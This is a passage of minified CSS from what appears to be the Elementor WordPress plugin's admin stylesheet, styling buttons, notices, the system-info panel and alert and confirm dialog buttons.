solid}.e-button.e-button--outline:focus,.e-button.e-button--outline:hover{color:var(--e-button-context-color-dark);background:var(--e-button-context-tint)}.e-button.e-button--outline.disabled,.e-button.e-button--outline:disabled{color:var(--e-button-context-color-dark);background:#69727d}.e-button>i{line-height:inherit;height:var(--e-button-line-height);width:-moz-min-content;width:min-content}.e-button>*+*{margin-inline-start:.5ch}.e-button--link{color:var(--e-button-context-color);background-color:transparent}.e-button--link:focus,.e-button--link:hover{color:var(--e-button-context-color-dark);background:var(--e-button-context-tint)}.e-button--link.disabled,.e-button--link:disabled{color:#69727d}a.e-button.disabled,fieldset:disabled a.e-button{pointer-events:none}:root{--e-notice-bg:#fff;--e-notice-border-color:#ccd0d4;--e-notice-context-color:#93003f;--e-notice-context-tint:var(--e-context-cta-tint-1);--e-notice-box-shadow:0 1px 4px rgba(0,0,0,0.15);--e-notice-dismiss-color:#3f444b}.e-notice{position:relative;display:flex;font-family:Roboto,Arial,Helvetica,sans-serif;background:var(--e-notice-bg);border:1px solid var(--e-notice-border-color);border-inline-start-width:4px;box-shadow:var(--e-notice-box-shadow);margin:5px 20px 5px 2px}.e-notice.notice{padding:0}.e-notice:before{display:block;content:"";position:absolute;inset-inline-start:-4px;inset-block-start:-1px;inset-block-end:-1px;width:4px;background-color:var(--e-notice-context-color)}.e-notice--primary{--e-notice-context-color:var(--e-context-primary-color);--e-notice-context-color-dark:var(--e-context-primary-color-dark);--e-notice-context-tint:var(--e-context-primary-tint-1)}.e-notice--success{--e-notice-context-color:var(--e-context-success-color);--e-notice-context-color-dark:var(--e-context-success-color-dark);--e-notice-context-tint:var(--e-context-success-tint-1)}.e-notice--info{--e-notice-context-color:var(--e-context-info-color);--e-notice-context-color-dark:var(--e-context-info-color-dark);--e-notice-context-tint:var(--e-context-info-tint-1)}.e-notice--warning{--e-notice-context-color:var(--e-context-warning-color);--e-notice-context-color-dark:var(--e-context-warning-color-dark);--e-notice-context-tint:var(--e-context-warning-tint-1)}.e-notice--error{--e-notice-context-color:var(--e-context-error-color);--e-notice-context-color-dark:var(--e-context-error-color-dark);--e-notice-context-tint:var(--e-context-error-tint-1)}.e-notice--cta{--e-notice-context-color:var(--e-context-cta-color);--e-notice-context-color-dark:var(--e-context-cta-color-dark);--e-notice-context-tint:var(--e-context-cta-tint-1)}.e-notice--extended{--e-notice-is-extended:1}.e-notice--dismissible{padding-inline-end:38px}.e-notice__aside{overflow:hidden;background-color:var(--e-notice-context-tint);width:calc(var(--e-notice-is-extended, 0) * 50px);text-align:center;padding-block-start:15px;flex-grow:0;flex-shrink:0}.e-notice__icon-wrapper{display:inline-block;font-size:.625rem;max-height:1.5rem;width:1.5rem;line-height:1.5rem;border-radius:100px;background:var(--e-notice-context-color);color:#fff;text-shadow:0 0 3px var(--e-notice-context-color-dark),0 0 1px var(--e-notice-context-color-dark),0 0 1px var(--e-notice-context-color-dark)}.e-notice__content{padding:20px}.e-notice__actions{display:flex}.e-notice__actions>*+*{margin-inline-start:8px}.e-notice__dismiss{width:20px;height:20px;line-height:20px;font-size:.8125rem;text-align:center;background:none;display:block;position:absolute;inset-block-start:0;inset-inline-end:1px;border:none;margin:0;padding:9px;cursor:pointer;font-style:normal}.e-notice__dismiss:before{font-family:eicons;display:inline-block;content:"\e87f";color:var(--e-notice-dismiss-color);width:20px;border-radius:20px;speak:none;text-align:center}.e-notice__dismiss:active:before,.e-notice__dismiss:focus:before,.e-notice__dismiss:hover:before{font-weight:700}.e-notice__dismiss:focus:before{color:#fff;background:var(--e-notice-dismiss-color);outline:none}.e-notice__dismiss:focus{outline:none}.e-notice p{line-height:1.2;padding:0;margin:0}.e-notice p+.e-notice__actions{margin-block-start:1rem}.e-notice h3{font-size:1.0625rem;line-height:1.2;margin:0}.e-notice h3+p{margin-block-start:8px}.elementor-admin-alert{padding:15px;border-inline-start:3px solid transparent;position:relative;font-size:12px;line-height:1.5;text-align:start}.elementor-admin-alert a{color:inherit}.elementor-admin-alert.elementor-alert-info{color:var(--e-a-color-info);background-color:var(--e-a-bg-info);border-color:var(--e-a-color-info)}.elementor-admin-alert.elementor-alert-success{color:var(--e-a-color-success);background-color:var(--e-a-bg-success);border-color:var(--e-a-color-success)}.elementor-admin-alert.elementor-alert-warning{color:var(--e-admin-color-warning);background-color:var(--e-a-bg-warning);border-color:var(--e-a-color-warning)}.elementor-admin-alert.elementor-alert-danger{color:var(--e-a-color-danger);background-color:var(--e-a-bg-danger);border-color:var(--e-a-color-danger)}#elementor-system-info{padding:15px}#elementor-system-info .elementor-system-info-header{display:flex;justify-content:space-between;align-items:center}#elementor-system-info .elementor-system-info-section{margin-block-end:10px}#elementor-system-info .elementor-system-info-section .widefat{white-space:pre}#elementor-system-info .elementor-system-info-section .elementor-log-entries{white-space:pre-wrap}#elementor-system-info .elementor-system-info-section:not(.elementor-system-info-log) tbody td:first-child{width:300px}#elementor-system-info .elementor-system-info-section:not(.elementor-system-info-log) td{white-space:break-spaces}#elementor-system-info .elementor-system-info-field-recommendation{padding-inline-start:10px;color:#7f7f7f}#elementor-system-info .elementor-system-info-plugin-name{color:#000}#elementor-system-info .elementor-system-info-plugin-properties{padding:10px}#elementor-system-info #elementor-system-info-raw-code{width:100%;height:200px}#elementor-system-info #elementor-system-info-raw-code-label{padding:5px;display:block}#elementor-system-info .elementor-warning td:first-child{border-inline-start:3px solid #f59e0b}#elementor-system-info a.box-title-tool{font-size:80%;margin-inline-start:15px;color:#69727d}#elementor-system-info a.box-title-tool:hover{text-decoration:underline}#elementor-system-info #elementor-usage-recalc{font-size:12px;color:#fff;background-color:#9da5ae;padding:4px 18px 5px;border-radius:3px}.dialog-type-alert .dialog-widget-content,.dialog-type-confirm .dialog-widget-content{margin:auto;width:400px;padding:20px}.dialog-type-alert .dialog-header,.dialog-type-confirm .dialog-header{font-size:15px;font-weight:500}.dialog-type-alert .dialog-header:after,.dialog-type-confirm .dialog-header:after{content:"";display:block;border-block-end:var(--e-a-border);padding-block-end:10px;margin-block-end:10px;margin-inline-start:-20px;margin-inline-end:-20px}.dialog-type-alert .dialog-message,.dialog-type-confirm .dialog-message{min-height:50px}.dialog-type-alert .dialog-buttons-wrapper,.dialog-type-confirm .dialog-buttons-wrapper{padding-block-start:10px;display:flex;justify-content:flex-end;gap:15px}.dialog-type-alert .dialog-buttons-wrapper .dialog-button,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button{font-size:12px;font-weight:500;line-height:1.2;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover{border:none}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover{background-color:var(--e-a-btn-bg-hover);color:var(--e-a-btn-color-invert)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active{background-color:var(--e-a-btn-bg-active)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]),.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]){cursor:pointer}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled{background-color:var(--e-a-btn-bg-disabled);color:var(--e-a-btn-color-disabled)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon{display:none}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt{background:transparent;color:var(--e-a-color-txt)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled{background:transparent;color:var(--e-a-color-txt-disabled)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border{border:1px solid var(--e-a-color-txt-muted)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success{background-color:var(--e-a-btn-bg-success)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover{background-color:var(--e-a-btn-bg-success-hover)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary{background-color:var(--e-a-btn-bg-primary);color:var(--e-a-btn-color)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover{background-color:var(--e-a-btn-bg-primary-hover);color:var(--e-a-btn-color)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt{background:transparent;color:var(--e-a-color-primary-bold)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover{background:var(--e-a-bg-primary)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro{background-color:var(--e-a-btn-bg-accent)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover{background-color:var(--e-a-btn-bg-accent-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active{background-color:var(--e-a-btn-bg-accent-active)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info{background-color:var(--e-a-btn-bg-info)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover{background-color:var(--e-a-btn-bg-info-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning,.dialog-type-confirm .dialog-buttons-wrapper 